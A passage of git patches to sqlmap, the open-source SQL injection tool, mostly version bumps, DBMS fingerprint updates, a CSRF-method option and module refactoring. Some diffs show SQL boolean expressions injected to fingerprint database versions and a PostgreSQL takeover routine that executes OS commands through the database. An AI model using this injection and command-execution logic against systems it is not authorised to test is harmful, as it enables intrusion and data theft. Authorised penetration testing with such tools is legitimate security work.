+++ b/plugins/dbms/informix/fingerprint.py @@ -96,7 +96,7 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX logger.info(infoMsg) - for version in ("12.1", "11.7", "11.5"): + for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) if output: From bb61b08c83cfc172b2f1d9087ed5c09e22174a9c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Sep 2019 14:01:37 +0200 Subject: [PATCH 575/800] Minor update of fingerprints --- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 3 ++- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- 4 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4867011a52e..5c4f4f83e8c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.1" +VERSION = "1.3.9.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index e95c074ca39..e4820fc32d0 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -94,7 +94,8 @@ def checkDbms(self): ("2008", "SYSDATETIME()=SYSDATETIME()"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ("2014", "CHARINDEX('12.0.2000',@@version)>0"), - ("2016", "ISJSON(NULL) IS NULL") + ("2016", "ISJSON(NULL) IS NULL"), + ("2017", "TRIM(NULL) IS NULL") ): result = inject.checkBooleanExpression(check) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 508eebceafd..04fdc61e6c2 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -53,7 +53,7 @@ def _commentCheck(self): (50600, 50646), # MySQL 5.6 (50700, 50726), # MySQL 5.7 (60000, 60014), # MySQL 6.0 - (80000, 80015), # MySQL 8.0 + (80000, 80017), # MySQL 8.0 ) index = -1 diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 61a4e523943..3ddd248851c 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -105,7 +105,7 @@ def checkDbms(self): logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database - for version in ("18c", "12c", "11g", "10g", "9i", "8i"): + for version in ("18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) From e5a1377c365f4804e8678906e25793bbeb95a84b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Sep 2019 11:15:43 +0200 Subject: [PATCH 576/800] Minor update --- data/xml/banner/mysql.xml | 21 +++++++++++++++++---- lib/core/option.py | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 20 insertions(+), 7 deletions(-) diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml index b637ebb92e2..863764807f2 100644 --- a/data/xml/banner/mysql.xml +++ b/data/xml/banner/mysql.xml @@ -1,5 +1,10 @@ + + @@ -36,19 +41,27 @@ - + - + - + - + + + + + + + + + diff --git a/lib/core/option.py b/lib/core/option.py index 59e143c8fee..f2ca5e87147 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1273,8 +1273,8 @@ def _setHTTPAuthentication(): from ntlm import HTTPNtlmAuthHandler except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM, " - errMsg += "https://github.com/mullender/python-ntlm" + errMsg += "in order to authenticate via NTLM. Download from " + errMsg += "'https://github.com/mullender/python-ntlm'" raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5c4f4f83e8c..088a5917fd2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.2" +VERSION = "1.3.9.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ceaf3875331a2c34a1f9da8e64ff8e6635453cd6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Sep 2019 11:22:10 +0200 Subject: [PATCH 577/800] Fixes #3912 --- lib/core/settings.py | 2 +- plugins/dbms/postgresql/takeover.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 088a5917fd2..123e60afecc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.3" +VERSION = "1.3.9.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 2e54f0236a4..0350a36d97e 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -10,6 +10,7 @@ from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp +from lib.core.common import flattenValue from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import randomStr @@ -104,7 +105,7 @@ def copyExecCmd(self, cmd): output = inject.getValue(query, resumeValue=False) if isListLike(output): - output = os.linesep.join(output) + output = os.linesep.join(flattenValue(output)) self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName inject.goStacked(self._cleanupCmd) From af8a2afde1379fb713bb603980e330db5447069c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Sep 2019 11:33:56 +0200 Subject: [PATCH 578/800] Cosmetics (trivial) --- extra/shutils/drei.sh | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index dfd6da480a1..85d40379edf 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -7,7 +7,7 @@ export SQLMAP_DREI=1 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done -for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i; done +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done unset SQLMAP_DREI source `dirname "$0"`"/junk.sh" diff --git a/lib/core/settings.py b/lib/core/settings.py index 123e60afecc..c4d35015d6b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.4" +VERSION = "1.3.9.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 89a5892dd9bfdfcbe54759fb3adb03dd991f7c09 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Sep 2019 11:15:13 +0200 Subject: [PATCH 579/800] Dirty patch for #3915 --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c4d35015d6b..cd346ea8e15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.5" +VERSION = "1.3.9.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 13d836105ff..ac862498b11 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -76,7 +76,8 @@ def connect(self): pass elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") - raise + else: + pass except SqlmapFilePathException: raise except Exception as ex: From 617c3368136f66fdf345e98ffc4a00c14dbe1b4b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Sep 2019 11:45:23 +0200 Subject: [PATCH 580/800] Minor improvements --- extra/beep/beep.py | 17 +++++++++++++---- lib/core/settings.py | 2 +- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 08cd26f92fb..88c042d520c 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -15,11 +15,13 @@ def beep(): try: - if sys.platform == "nt": + if sys.platform.startswith("win"): _win_wav_play(BEEP_WAV_FILENAME) - elif sys.platform == "darwin": + elif sys.platform.startswith("darwin"): _mac_beep() - elif sys.platform.startswith("linux"): + elif sys.platform.startswith("cygwin"): + _cygwin_beep(BEEP_WAV_FILENAME) + elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() @@ -34,6 +36,10 @@ def _speaker_beep(): except IOError: pass +# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html +def _cygwin_beep(filename): + os.system("play-sound-file '%s' 2>/dev/null" % filename) + def _mac_beep(): import Carbon.Snd Carbon.Snd.SysBeep(1) @@ -57,7 +63,10 @@ def _linux_wav_play(filename): class struct_pa_sample_spec(ctypes.Structure): _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] - pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") + try: + pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") + except OSError: + return wave_file = wave.open(filename, "rb") diff --git a/lib/core/settings.py b/lib/core/settings.py index cd346ea8e15..2f7a618f402 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.6" +VERSION = "1.3.9.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 30fba849e2716226917f5a971b32098b1a689595 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Sep 2019 13:56:37 +0200 Subject: [PATCH 581/800] Implements #3916 --- lib/core/option.py | 4 ++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/request/connect.py | 2 +- sqlmap.conf | 7 +++++-- 6 files changed, 15 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index f2ca5e87147..7a305966091 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2490,6 +2490,10 @@ def _basicOptionValidation(): errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) + if conf.csrfMethod and not conf.csrfToken: + errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 63b7cd67e49..26f6576d29b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -61,6 +61,7 @@ "skipUrlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", + "csrfMethod": "string", "forceSSL": "boolean", "chunked": "boolean", "hpp": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 2f7a618f402..2e3a23602a9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.7" +VERSION = "1.3.9.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 49300f1d82b..b8c7395df41 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -245,6 +245,9 @@ def cmdLineParser(argv=None): request.add_argument("--csrf-url", dest="csrfUrl", help="URL address to visit for extraction of anti-CSRF token") + request.add_argument("--csrf-method", dest="csrfMethod", + help="HTTP method to use during anti-CSRF token page visit") + request.add_argument("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") diff --git a/lib/request/connect.py b/lib/request/connect.py index 61f47ab7991..bf455f2ed29 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1039,7 +1039,7 @@ def _adjustParameter(paramString, parameter, newValue): return retVal token = AttribDict() - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) diff --git a/sqlmap.conf b/sqlmap.conf index 7a1516e7ccf..96f9c67999c 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -180,16 +180,19 @@ safeReqFile = # Default: 0 safeFreq = 0 -# Skip URL encoding of payload data +# Skip URL encoding of payload data. # Valid: True or False skipUrlEncode = False -# Parameter used to hold anti-CSRF token +# Parameter used to hold anti-CSRF token. csrfToken = # URL address to visit to extract anti-CSRF token csrfUrl = +# HTTP method to use during anti-CSRF token page visit. +csrfMethod = + # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False From 8b88bb82d3aa99f9a155edd50b7f2a667aa6379a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 11 Sep 2019 14:05:25 +0200 Subject: [PATCH 582/800] Minor refactoring --- extra/safe2bin/README.txt | 17 -------- extra/safe2bin/__init__.py | 8 ---- lib/core/common.py | 2 +- lib/core/dump.py | 2 +- lib/core/replication.py | 2 +- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/pivotdumptable.py | 2 +- {extra/safe2bin => lib/utils}/safe2bin.py | 50 ++--------------------- 15 files changed, 16 insertions(+), 83 deletions(-) delete mode 100644 extra/safe2bin/README.txt delete mode 100644 extra/safe2bin/__init__.py rename {extra/safe2bin => lib/utils}/safe2bin.py (71%) diff --git a/extra/safe2bin/README.txt b/extra/safe2bin/README.txt deleted file mode 100644 index 06400d6ea98..00000000000 --- a/extra/safe2bin/README.txt +++ /dev/null @@ -1,17 +0,0 @@ -To use safe2bin.py you need to pass it the original file, -and optionally the output file name. - -Example: - -$ python ./safe2bin.py -i output.txt -o output.txt.bin - -This will create an binary decoded file output.txt.bin. For example, -if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will -be decoded to: " test 234 -newline" - -If you skip the output file name, general rule is that the binary -file names are suffixed with the string '.bin'. So, that means that -the upper example can also be written in the following form: - -$ python ./safe2bin.py -i output.txt diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py deleted file mode 100644 index c654cbef7f4..00000000000 --- a/extra/safe2bin/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -pass diff --git a/lib/core/common.py b/lib/core/common.py index 30e472d05be..7da5064b8cf 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -46,7 +46,6 @@ from extra.beep.beep import beep from extra.cloak.cloak import decloak -from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray from lib.core.compat import cmp from lib.core.compat import round @@ -180,6 +179,7 @@ from lib.core.settings import ZIP_HEADER from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData +from lib.utils.safe2bin import safecharencode from lib.utils.sqlalchemy import _sqlalchemy from thirdparty import six from thirdparty.clientform.clientform import ParseResponse diff --git a/lib/core/dump.py b/lib/core/dump.py index 846c445bd65..4988f103ee1 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -13,7 +13,6 @@ import tempfile import threading -from extra.safe2bin.safe2bin import safechardecode from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToDumpFile @@ -53,6 +52,7 @@ from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES +from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic diff --git a/lib/core/replication.py b/lib/core/replication.py index e6871061885..d0a1a3d1eb9 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -7,13 +7,13 @@ import sqlite3 -from extra.safe2bin.safe2bin import safechardecode from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safechardecode class Replication(object): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 2e3a23602a9..7f0cb6dfcac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.8" +VERSION = "1.3.9.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index bf455f2ed29..4f9593fa6ef 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -22,7 +22,6 @@ class WebSocketException(Exception): pass -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds @@ -125,6 +124,7 @@ class WebSocketException(Exception): from lib.request.comparison import comparison from lib.request.direct import direct from lib.request.methodrequest import MethodRequest +from lib.utils.safe2bin import safecharencode from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six import unichr as _unichr diff --git a/lib/request/direct.py b/lib/request/direct.py index 14c5e1c0b8e..b107cb59991 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -7,7 +7,6 @@ import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds @@ -26,6 +25,7 @@ from lib.core.enums import EXPECTED from lib.core.enums import TIMEOUT_STATE from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout def direct(query, content=True): diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index ffcd5d89f3b..d4c2b4c5157 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -9,7 +9,6 @@ import sys -from extra.safe2bin.safe2bin import safechardecode from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet @@ -28,6 +27,7 @@ from lib.takeover.udf import UDF from lib.takeover.web import Web from lib.takeover.xp_cmdshell import XP_cmdshell +from lib.utils.safe2bin import safechardecode from thirdparty.six.moves import input as _input class Abstraction(Web, UDF, XP_cmdshell): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 85dc3629aac..cd6289b8882 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -10,7 +10,6 @@ import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds @@ -58,6 +57,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 1e9bde529c0..bca5594b8e2 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -8,7 +8,6 @@ import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds @@ -33,6 +32,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request +from lib.utils.safe2bin import safecharencode def dnsUse(payload, expression): """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 478aa86ae61..783a2e952f2 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -10,7 +10,6 @@ import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend @@ -60,6 +59,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 640c6687410..6df8686280d 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -10,7 +10,6 @@ import time import xml.etree.ElementTree -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue @@ -62,6 +61,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode from thirdparty import six from thirdparty.odict import OrderedDict diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 74a4feba9a0..27774ad3f1f 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -7,7 +7,6 @@ import re -from extra.safe2bin.safe2bin import safechardecode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend @@ -33,6 +32,7 @@ from lib.core.settings import NULL from lib.core.unescaper import unescaper from lib.request import inject +from lib.utils.safe2bin import safechardecode from thirdparty.six import unichr as _unichr def pivotDumpTable(table, colList, count=None, blind=True, alias=None): diff --git a/extra/safe2bin/safe2bin.py b/lib/utils/safe2bin.py similarity index 71% rename from extra/safe2bin/safe2bin.py rename to lib/utils/safe2bin.py index 7fbf7cf6962..b8e7d148206 100644 --- a/extra/safe2bin/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,23 +1,15 @@ #!/usr/bin/env python """ -safe2bin.py - Simple safe(hex) to binary format converter - Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from __future__ import print_function - import binascii import re import string -import os import sys -from optparse import OptionError -from optparse import OptionParser - if sys.version_info >= (3, 0): xrange = range text_type = str @@ -49,10 +41,10 @@ def safecharencode(value): """ Returns safe representation of a given basestring value - >>> safecharencode(u'test123') - u'test123' - >>> safecharencode(u'test\x01\x02\xff') - u'test\\01\\02\\03\\ff' + >>> safecharencode(u'test123') == u'test123' + True + >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf' + True """ retVal = value @@ -107,37 +99,3 @@ def safechardecode(value, binary=False): retVal[i] = safechardecode(value[i]) return retVal - -def main(): - usage = '%s -i [-o ]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') - - try: - parser.add_option('-i', dest='inputFile', help='Input file') - parser.add_option('-o', dest='outputFile', help='Output file') - - (args, _) = parser.parse_args() - - if not args.inputFile: - parser.error('Missing the input file, -h for help') - - except (OptionError, TypeError) as ex: - parser.error(ex) - - if not os.path.isfile(args.inputFile): - print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile) - sys.exit(1) - - f = open(args.inputFile, 'r') - data = f.read() - f.close() - - if not args.outputFile: - args.outputFile = args.inputFile + '.bin' - - f = open(args.outputFile, 'wb') - f.write(safechardecode(data)) - f.close() - -if __name__ == '__main__': - main() From e8871b8a99d574a268ca1adab4fd86da493aee61 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Sep 2019 15:20:00 +0200 Subject: [PATCH 583/800] Fixes #3917 --- lib/core/settings.py | 2 +- lib/core/target.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f0cb6dfcac..588f68cd506 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.9" +VERSION = "1.3.9.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 308df641f4a..28ebbb4e166 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -154,9 +154,10 @@ def process(match, repl): match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) if match and not (conf.testParameter and match.group("name") not in conf.testParameter): _ = match.group(2) - _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) - _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) - conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) + if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) + _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON From f29c4e1e07a7b173450bd170eb71feb5e47e9684 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Sep 2019 15:29:15 +0200 Subject: [PATCH 584/800] Minor generalization regarding last commit (#3917) --- lib/core/settings.py | 2 +- lib/core/target.py | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py 